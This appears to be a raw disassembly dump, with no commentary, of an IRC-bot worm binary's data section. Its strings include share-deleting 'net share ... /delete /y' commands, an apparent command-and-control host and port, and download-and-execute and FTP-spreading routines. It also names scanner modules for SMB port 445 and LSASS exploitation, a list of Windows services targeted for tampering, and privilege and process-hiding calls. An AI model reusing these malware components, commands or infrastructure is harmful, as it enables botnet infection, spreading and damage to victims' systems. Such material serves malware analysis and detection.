		dd 1, 43CC96h, 2 dup(0)
dword_442D80	dd 19930520h, 16h, 442DA0h, 5 dup(0)		dd 0FFFFFFFFh, 43CCC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		align 2
		dw 43h
		dd 1, 43CCD6h, 2, 43CCE1h, 2, 43CCECh, 2, 43CCF7h, 2, 43CD02h
		dd 6, 43CD0Dh, 2, 43CD18h, 8, 43CD23h, 2, 43CD2Eh, 0Ah
		dd 43CD39h, 2, 43CD44h,	0Ch, 43CD4Fh, 0Dh, 43CD5Ah, 0Eh
		dd 43CD65h, 0Fh, 43CD70h, 0Fh, 43CD7Bh,	0Fh, 43CD86h, 0Fh
		dd 43CD91h, 0Fh, 43CD9Ch, 0Fh, 43CDA7h,	6 dup(0)
dword_442E68	dd 19930520h, 1, 442E88h, 5 dup(0)		dd 0FFFFFFFFh, 43CE00h,	2 dup(0)
dword_442E98	dd 19930520h, 1, 442EB8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE20h,	2 dup(0)
dword_442EC8	dd 19930520h, 1, 442EE8h, 5 dup(0)		dd 0FFFFFFFFh, 43CE40h,	2 dup(0)
dword_442EF8	dd 19930520h, 1, 442F18h, 5 dup(0)		dd 0FFFFFFFFh, 43CE60h,	2 dup(0)
dword_442F28	dd 19930520h, 1, 442F48h, 5 dup(0)		dd 0FFFFFFFFh, 43CE80h,	2 dup(0)
dword_442F58	dd 19930520h, 2, 442F78h, 1, 442F88h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 442FA0h, 4	dup(0)
		dd offset loc_42C244
		dd 2 dup(0)
dword_442FB8	dd 19930520h, 2, 442FD8h, 1, 442FE8h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 443000h, 4	dup(0)
		dd offset loc_42C321
		dd 2 dup(0)
dword_443018	dd 19930520h, 3, 443038h, 5 dup(0)		dd 0FFFFFFFFh, 43CEC0h,	0
		dd offset loc_43CEC8
		dd 1, 43CED0h, 2 dup(0)
dword_443058	dd 19930520h, 1, 443078h, 5 dup(0)		dd 0FFFFFFFFh, 43CF00h,	2 dup(0)
dword_443088	dd 19930520h, 1, 4430A8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF20h,	2 dup(0)
dword_4430B8	dd 19930520h, 1, 4430D8h, 5 dup(0)		dd 0FFFFFFFFh, 43CF40h,	2 dup(0)
dword_4430E8	dd 19930520h, 1, 443108h, 5 dup(0)		dd 0FFFFFFFFh, 43CF60h,	2 dup(0)
dword_443118	dd 19930520h, 1, 443138h, 5 dup(0)		dd 0FFFFFFFFh, 43CF80h,	2 dup(0)
dword_443148	dd 19930520h, 6, 443168h, 5 dup(0)		dd 0FFFFFFFFh, 43CFA0h,	0FFFFFFFFh, 43CFA8h, 0FFFFFFFFh
		dd 43CFB0h, 0FFFFFFFFh,	43CFB8h, 0FFFFFFFFh, 43CFC0h, 0FFFFFFFFh
		dd 43CFC8h, 2 dup(0)
dword_4431A0	dd 19930520h, 16h, 4431C0h, 5 dup(0)		dd 0FFFFFFFFh, 43CFF0h,	0FFFFFFFFh, 43CFFBh, 0FFFFFFFFh
		dd 43D003h, 0FFFFFFFFh,	43D00Bh, 0FFFFFFFFh, 43D013h, 0FFFFFFFFh
		dd 43D01Eh, 0FFFFFFFFh,	43D026h, 0FFFFFFFFh, 43D02Eh, 0FFFFFFFFh
		dd 43D036h, 0FFFFFFFFh,	43D041h, 0FFFFFFFFh, 43D049h, 0FFFFFFFFh
		dd 43D051h, 0FFFFFFFFh,	43D05Ch, 0FFFFFFFFh, 43D064h, 0Dh
		dd 43D06Ch, 0Eh, 43D074h, 0Eh, 43D07Ch,	0Eh, 43D084h, 0Eh
		dd 43D08Ch, 12h, 43D094h, 13h, 43D09Ch,	0Eh, 43D09Ch, 6	dup(0)
dword_443288	dd 19930520h, 2, 4432A8h, 5 dup(0)		dd 0FFFFFFFFh, 43D0E0h,	0FFFFFFFFh, 43D0E8h, 2 dup(0)
dword_4432C0	dd 19930520h, 2, 4432E0h, 5 dup(0)		dd 0FFFFFFFFh, 43D100h,	0
		dd offset loc_43D10B
		dd 2 dup(0)
dword_4432F8	dd 19930520h, 1, 443318h, 5 dup(0)		dd 0FFFFFFFFh, 43D130h,	2 dup(0)
dword_443328	dd 19930520h, 2, 443348h, 5 dup(0)		dd 0FFFFFFFFh, 43D150h,	0FFFFFFFFh, 43D158h, 2 dup(0)
dword_443360	dd 19930520h, 0Ah, 443380h, 5 dup(0)		dd 0FFFFFFFFh, 43D170h,	0FFFFFFFFh, 43D17Bh, 0FFFFFFFFh
		dd 43D186h, 0FFFFFFFFh,	43D191h, 0FFFFFFFFh, 43D19Ch, 0FFFFFFFFh
		dd 43D1A7h, 0FFFFFFFFh,	43D1B2h, 0FFFFFFFFh, 43D1BDh, 0FFFFFFFFh
		dd 43D1C8h, 0FFFFFFFFh,	43D1D3h, 34Dh dup(0)
		dd offset aRrrrrrrrrrrrrr+1Fh
		dd offset aRrrrrrrrrr+7Ah
		dd 105h	dup(0)
aABCDEFGHIJKLMN	db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
					; DATA XREF: sub_403530+7Fo
		db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
		db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
		align 4
		dd 8 dup(0)
asc_4445EC:				; DATA XREF: sub_403530+66o
					; sub_410030:loc_41090Eo ...
		unicode	0, <|>,0
aS		db '%s',0               ; DATA XREF: sub_404CC0+86Fo
					; sub_404CC0+AEBo ...
		align 4
aSS_0		db '%s %s',0Dh,0Ah,0    ; DATA XREF: sub_404CC0+82Bo
					; sub_404CC0+B58o ...
		align 10h
asc_444600:				; DATA XREF: sub_404690:loc_40476Fo
					; sub_404690+1EDo ...
		unicode	0, < >,0
aO		db ' -o',0              ; DATA XREF: sub_404690+75o
					; sub_410030:loc_410A19o ...
aNetShareAdminD	db 'net share admin$ /delete /y',0
		dd 2 dup(0)
aNetShareIpcDel	db 'net share ipc$ /delete /y',0
		align 4
		dd 0
aNetShareDDelet	db 'net share d$ /delete /y',0
		align 8
aNetShareCDelet	db 'net share c$ /delete /y',0
		dd 0
dword_444684	dd 255C7325h, 73h					; sub_40D040+DEo ...
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404CC0+D72o
		align 8
aN:					; DATA XREF: sub_404CC0+D1Do
		unicode	0, <N>,0
aExecutedS_	db 'Executed: %s.',0    ; DATA XREF: sub_404CC0+971o
		align 4
aResolve_errorS	db 'resolve.error %s.',0 ; DATA XREF: sub_404CC0+75Co
		align 10h
		dd 0
aSS_1		db '%s -> %s',0         ; DATA XREF: sub_404CC0+6CFo
		align 10h
aSResolvedS	db '%s resolved %s',0   ; DATA XREF: sub_404CC0+610o
		align 10h
		dd 0
aOpen		db 'open',0             ; DATA XREF: sub_404CC0+444o
					; sub_41C130+Eo
		align 4
aExec_error	db 'exec.error',0       ; DATA XREF: sub_404CC0+1A3o
					; sub_404CC0+9ABo ...
		align 4
		dd 0
aUpDdDhDm	db 'up: %dd %dh %dm',0  ; DATA XREF: sub_406730+C3o
		align 10h
aCpuDmhz_Memory	db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
					; DATA XREF: sub_4068E0+20Fo
		db 'me: %dd %dh %dm box: %s. user: %s.',0
		dd 5 dup(0)
aSS_2		db '%s [%s]',0          ; DATA XREF: sub_4068E0+125o
		dd 0
a???		db '???',0              ; DATA XREF: sub_4068E0:loc_4069DBo
a2003		db '2003',0             ; DATA XREF: sub_4068E0+F4o
		align 10h
aXp		db 'XP',0               ; DATA XREF: sub_4068E0+EAo
		align 4
a2000		db '2000',0             ; DATA XREF: sub_4068E0+DEo
		align 4
aMe		db 'ME',0               ; DATA XREF: sub_4068E0+C7o
		align 10h
a98		db '98',0               ; DATA XREF: sub_4068E0+BBo
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_4068E0+AFo
		align 4
a95		db '95',0               ; DATA XREF: sub_4068E0+9Co
		align 4
aBai		db '-bai',0             ; DATA XREF: ___:loc_406E3Do
					; ___:00406E85o
		align 4
aNetsvcs	db '-netsvcs',0         ; DATA XREF: ___:loc_406E00o
					; sub_40ED00+88o
		align 10h
aUpdate		db '-update',0          ; DATA XREF: ___:00406DC3o
		dd 0
dword_4447EC	dd 6265642Dh, 6775hdword_4447F4	dd 6425h						; ___:004087A4o ...
dword_4447F8	dd 2Eh							; ___:0041B2DAo ...
aMicrosoftVisua	db 'MicroSoft Visual SP2',0 ; DATA XREF: sub_4077E0+403o
		align 8
aEvil		db 'evil',0             ; DATA XREF: sub_4077E0+3F2o
		align 10h
aFeeling_nasty	db 'feeling.nasty',0    ; DATA XREF: sub_4077E0+3E1o
		align 10h
aSet		db 'set',0              ; DATA XREF: sub_4077E0+359o
asc_444834	db 'X-',0               ; DATA XREF: sub_4077E0+348o
		align 4
aAyssds4ddklfsd	db 'ayssds4ddklfsdf',0  ; DATA XREF: sub_4077E0+337o
		dd 0
aIgfsfdfsd32_ex	db 'igfsfdfsd32.exe',0  ; DATA XREF: sub_4077E0+326o
		align 10h
aXkey		db 'Xkey',0             ; DATA XREF: sub_4077E0+318o
		align 4
aM		db '##m',0              ; DATA XREF: sub_4077E0+307o
aM_0		db '##m##',0            ; DATA XREF: sub_4077E0+2F6o
		align 4
a6701		db '6701',0             ; DATA XREF: sub_4077E0+29Bo
		align 4
aGx_arabhell_ne	db 'Gx.arabhell.net',0  ; DATA XREF: sub_4077E0+283o
		align 10h
off_444890	dd offset off_43F1D4	; DATA XREF: ___:00440014o
		align 8
a_?avexception@	db '.?AVexception@@',0
		align 10h
off_4448B0	dd offset off_43F1D4	; DATA XREF: ___:00440034o
		align 8
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 10h
		dd 2 dup(0)
off_4448D8	dd offset off_43F1D4	; DATA XREF: ___:00440054o
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 10h
aInvalidVectorT	db 'invalid vector<T> subscript',0 ; DATA XREF: sub_409660+21o
					; ___:0040AA51o
		dd 2 dup(0)
aTrue		db 'true',0             ; DATA XREF: sub_40B760+3Fo
					; sub_40B7E0+43o ...
		align 4
aF		db '%f',0               ; DATA XREF: ___:0040B87Fo
		align 10h
aFalse		db 'false',0            ; DATA XREF: ___:0040B924o
		align 4
aSSWasS		db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BC3Ao
		align 10h
		dd 0
aSS_5		db '%s = "%s"',0        ; DATA XREF: ___:0040BB57o
		align 10h
aDSSS		db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040BA91o
		dd 0
aCvar		db '(cvar)',0           ; DATA XREF: ___:0040BA04o
		align 4
aDccSocketError	db 'dcc: socket error',0 ; DATA XREF: sub_40C4E0+52Ao
		align 4
		dd 0
aDccCompleteToS	db 'dcc: complete to %s, file: %s, (%d bytes)',0
					; DATA XREF: sub_40C4E0+48Ao
		align 10h
aDccUnableToOpe	db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C4E0+377o
		align 10h
aDccTimeout	db 'dcc: timeout',0     ; DATA XREF: sub_40C4E0+327o
		align 10h
dword_444A00	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C4E0+296o
		dd 169h, 0
aDccFileDoesn_0	db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C4E0+230o
		align 4
		dd 0
aDccFileDoesnTE	db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C4E0+218o
		align 8
aDccFailedToOpe	db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C4E0+1BBo
		align 8
aDccFailedToBin	db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C4E0+110o
		align 8
aDccFailedToCre	db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C4E0+B8o
		align 10h
aFilesFoundD	db 'Files Found: %d',0  ; DATA XREF: sub_40CC90+1B1o
		dd 0
asc_444AD4:				; DATA XREF: sub_40CC90+113o
					; sub_4201F0+100o
		unicode	0, <\>,0
aFoundSS	db 'Found: %s\%s',0     ; DATA XREF: sub_40D040+115o
		align 4
aS_1		db '%s\*',0             ; DATA XREF: sub_40D040+1Fo
		align 10h
aExplorer_exe	db '\explorer.exe',0    ; DATA XREF: ___:0040D559o
		align 10h
aBai_0		db ' -bai ',0
		align 4
aSCS		db '%s%c%s',0
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40D660+D1o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40D660+C4o
		align 10h
		dd 0
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D660+B7o
		align 10h
		dd 0
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D660+AFo
		align 10h
aKernel32_dll_0	db 'kernel32.dll',0     ; DATA XREF: sub_40D660+98o
		align 10h
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DC20+4D3o
		align 4
		dd 0
aSSSSSSSSSS	db '%s',0Dh,0Ah         ; DATA XREF: sub_40DC20+37Co
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah
		db '%s',0Dh,'%s',0Dh,0Ah,0
		align 4
		dd 2 dup(0)
aSS_4		db '"%s" %s',0          ; DATA XREF: sub_40EE40+6Ao
		align 8
aServicesactive	db 'ServicesActive',0   ; DATA XREF: sub_40EE40+21o
					; sub_40F060+Ao ...
		align 4
		dd 0
aServDelS_	db 'serv(del) "%s".',0  ; DATA XREF: ___:0040F511o
		align 10h
aServAddSAsSS_	db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F454o
		align 10h
		dd 0
aRegDelS_	db 'reg(del) "%s".',0   ; DATA XREF: ___:0040F359o
		align 8
aRegAddSAsS_	db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F2ADo
		align 10h
		dd 0
asc_444C54	db ' :',0               ; DATA XREF: sub_410030+E2Bo
					; sub_410030+1118o ...
		align 4
asc_444C58:				; DATA XREF: sub_410030+CACo
					; sub_410030+D15o ...
		unicode	0, <!>,0
aN_0		db ' -n',0              ; DATA XREF: sub_410030:loc_4109F8o
					; sub_410030:loc_410C87o
aS_2		db ' -s',0              ; DATA XREF: sub_410030:loc_4109CFo
					; sub_410030:loc_410C66o
asc_444C64:				; DATA XREF: sub_410030+871o
					; sub_410030:loc_410CA8o ...
		unicode	0, <:>,0
a@:					; DATA XREF: sub_410030+7CCo
					; sub_410030+D2Do ...
		unicode	0, <@>,0
aSSS_0		db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_410030+65Do
					; sub_410030+732o ...
		align 4
		dd 0
aSSSS00S	db '%s %s',0Dh,0Ah      ; DATA XREF: sub_410030+355o
		db '%s %s 0 0 :%s',0Dh,0Ah,0
		align 8
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_410030+2C4o
					; sub_412780+91o ...
		align 8
aSSSS		db '%s %s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+4E3o
		align 4
aS_3		db '%s',0Dh,0Ah,0       ; DATA XREF: sub_4120B0+386o
					; sub_426070+12Do ...
		align 10h
aSSS_1		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_4120B0+CBo
					; sub_412A40+8Fo
		align 10h
aPublic		db '[PUBLIC]',0         ; DATA XREF: sub_412780:loc_41288Bo
		align 4
aPrivate	db '[PRIVATE]',0        ; DATA XREF: sub_412780+104o
		align 4
a_		db '. ',0               ; DATA XREF: sub_412780+CAo
					; sub_412780+E5o
		align 4
aLan		db 'lan: ',0            ; DATA XREF: sub_412780+AEo
		align 4
aUptime		db 'uptime',0           ; DATA XREF: ___:loc_412FF7o
		align 4
aHost		db 'host',0             ; DATA XREF: ___:loc_412FA4o
		align 4
aId		db 'id',0               ; DATA XREF: ___:loc_412F4Ao
		align 4
asc_444D08:				; DATA XREF: ___:loc_412F33o
		dw 3Ch
		unicode	0, <>,0
asc_444D0C:				; DATA XREF: ___:loc_412F1Co
		dw 3Eh
		unicode	0, <>,0
asc_444D10	db '==',0               ; DATA XREF: ___:loc_412F05o
		align 4
asc_444D14	db '!=',0               ; DATA XREF: ___:00412EF1o
		align 4
a2_2x		db '%2.2X',0            ; DATA XREF: sub_4138B0+B7o
		align 10h
aSS_6		db '%s: %s',0           ; DATA XREF: sub_4193C0+30Fo
		align 4
aSD_0		db '%s: %d',0           ; DATA XREF: sub_4193C0+2E7o
		align 10h
aSD_1		db '%s:%d',0            ; DATA XREF: sub_4193C0+272o
					; sub_4193C0+29Bo
		align 4
aListening	db 'listening',0        ; DATA XREF: sub_4193C0+210o
		align 4
aEstablished	db 'established',0      ; DATA XREF: sub_4193C0+205o
		dd 0
off_444D54	dd offset dword_504354	; DATA XREF: sub_4193C0+140o
					; ___:0042C5F2o ...
dword_444D58	dd 2D464544h, 504354h, 0					; sub_4193C0+12Eo
dword_444D64	dd 652Dh	dword_444D68	dd 6C2Dh	a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419BE0+82o
		align 10h
		dd 0
aSS_3		db '%s%s',0             ; DATA XREF: ___:00419DF1o
		align 4
aSSS		db '%s%s%s',0           ; DATA XREF: ___:00419DCCo
		align 4
byte_444DA4	db 1			; DATA XREF: sub_41A390r
		align 4
dword_444DA8	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
; ---------------------------------------------------------------------------


loc_444DF4:				; DATA XREF: ___:00421859o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_444E08	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_444E1C	dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_444E54	dd 63257325h, 0						; sub_41F960+E5o
dword_444E5C	dd 72h		dword_444E60	dd 30h							; sub_424920+327o
dword_444E64	dd 3039h	dword_444E68	dd 383631h	dword_444E6C	dd 323931h	dword_444E70	dd 3631h	dword_444E74	dd 323731h	dword_444E78	dd 3031h	off_444E7C	dd offset dword_5C005C	; DATA XREF: ___:0041C217r
					; ___:0041C387r
word_444E80	dw 0			; DATA XREF: ___:0041C221r
					; ___:0041C391r
		align 4
off_444E84	dd offset dword_49005C	; DATA XREF: ___:0041C1E6r
					; ___:0041C356r
off_444E88	dd offset loc_43004E+2	; DATA XREF: ___:0041C1EBr
					; ___:0041C35Br
dword_444E8C	dd 24h							; ___:0041C37Fr
		dd 0
aDlEdUpdateS	db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D930+5F5o
		align 4
aOpenS_		db 'open %s.',0         ; DATA XREF: sub_41D930+5BAo
		align 4
aDlDone_S_	db 'dl, done. %s .',0   ; DATA XREF: sub_41D930+567o
		align 8
asc_444EC8	db 0Dh,0Ah		; DATA XREF: sub_41D930+48Fo
		db 0Dh,0Ah,0
		align 10h
aHttpBadopen	db 'http(badopen)',0    ; DATA XREF: sub_41D930+3F1o
		align 10h
aWb		db 'wb',0               ; DATA XREF: sub_41D930+3C0o
					; ___:0041FD87o
		align 4
aHttpGetting	db 'http(getting)',0    ; DATA XREF: sub_41D930+3AFo
		align 4
aGetSHttp1_0Con	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D930+36Do
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'User-Agent: Mozilla/4.5',0Dh,0Ah
		db 'Host: %s:%d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
		dd 4 dup(0)
aHttpBadconnect	db 'http(badconnect)',0 ; DATA XREF: sub_41D930+327o
		align 4
aFtpBaddl	db 'ftp(baddl)',0       ; DATA XREF: sub_41D930+2A3o
		align 4
		dd 0
aFtpGetting	db 'ftp(getting)',0     ; DATA XREF: sub_41D930+25Ao
		align 4
aFtpBadlogin	db 'ftp(badlogin)',0    ; DATA XREF: sub_41D930+224o
		align 4
aFtpBadconnect	db 'ftp(badconnect)',0  ; DATA XREF: sub_41D930+1CEo
		align 10h
aSysLogoff	db 'sys(logoff)',0      ; DATA XREF: ___:0041E47Eo
		align 10h
aSysSd		db 'sys(sd)',0          ; DATA XREF: ___:0041E42Fo
		dd 0
dword_444FCC	dd 28737973h, 6F626572h, 29746Fh, 0dword_444FDC	dd 6469706Bh, 7325203Ah, 0dword_444FE8	dd 203A736Bh, 7325hdword_444FF0	dd 202E6425h, 7325202Fh, 0dword_444FFC	dd 203A706Bh, 7325haD_PidDS	db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E760+130o
		align 10h
a221		db '221 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+694o
					; sub_41F030+6A9o
		align 4
a226		db '226 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030:loc_41F695o
					; sub_41F030+677o
		align 10h
aFtpD_D_D_DDByt	db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
					; DATA XREF: sub_41F030+62Bo
		align 4
		dd 2 dup(0)
aRb		db 'rb',0               ; DATA XREF: sub_41F030+53Fo
		align 10h
a150		db '150 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+505o
					; sub_41F030+51Ao
		align 4
asc_445078:				; DATA XREF: sub_41F030+2EFo
					; sub_41F030+33Ao ...
		unicode	0, <,>,0
a200		db '200 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+286o
					; sub_41F030+29Bo ...
		align 4
a230		db '230 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+254o
					; sub_41F030+269o
		align 4
a331		db '331 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+222o
					; sub_41F030+237o
		align 4
a220		db '220 ',0Dh,0Ah,0     ; DATA XREF: sub_41F030+1F3o
					; sub_41F030+205o
		align 4
aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41F030+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F960+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FDBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_420090:loc_4200E5o
					; sub_420630+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4201F0+CBo
					; sub_4208E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4201F0+73o
					; sub_4208E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4204D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420630+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420630+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420630+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420630+20o
					; sub_420630+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4208E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4208E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4208E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4208E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4208E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4208E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4208E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4208E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4208E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4208E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4208E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4208E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4208E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4208E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4208E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4208E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4208E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4208E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4208E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4208E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4208E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4208E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4208E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4208E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4208E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4208E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4208E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4208E0+EEo
		align 4
off_4452F4	dd offset word_616C4E	; DATA XREF: sub_4208E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4208E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4208E0+CDo
		align 4
off_44530C	dd offset byte_4D444D	; DATA XREF: sub_4208E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4208E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4208E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4208E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4208E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4208E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4208E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4208E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4208E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4208E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4208E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4208E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4208E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4208E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4208E0+55o
					; sub_4208E0:loc_420B6Bo
		align 10h
asc_4453E0:				; DATA XREF: sub_420F10:loc_420FCFo
					; sub_420F10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420F10+94o
					; sub_420F10:loc_42117Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420F10+84o
					; sub_420F10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4228F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_445418	dd 1BDh							; sub_422B40+310o ...
off_44541C	dd offset sub_401820	; DATA XREF: ___:00423F8Dr
dword_445420	dd 0							; sub_4236F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401820h, 0
		dd 1, 0
aNet445		db 'net445',0
		align 10h
		dd 656E0000h, 35343474h, 6 dup(0)
		dd 1BDh, 402199h, 0
		dd 1, 0
aLsass		db 'lsass',0
		align 4
		dd 736C0000h, 737361h, 6 dup(0)
		dd 1BDh, 401DCAh, 0
		dd 1, 1Fh dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422B40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422B40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422B40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422B40+760o
		align 4
		dd 0
aB		db ' -b',0              ; DATA XREF: sub_422B40+747o
off_4455E0	dd offset dword_612D20	; DATA XREF: sub_422B40+737o
					; sub_422B40+7A3o ...
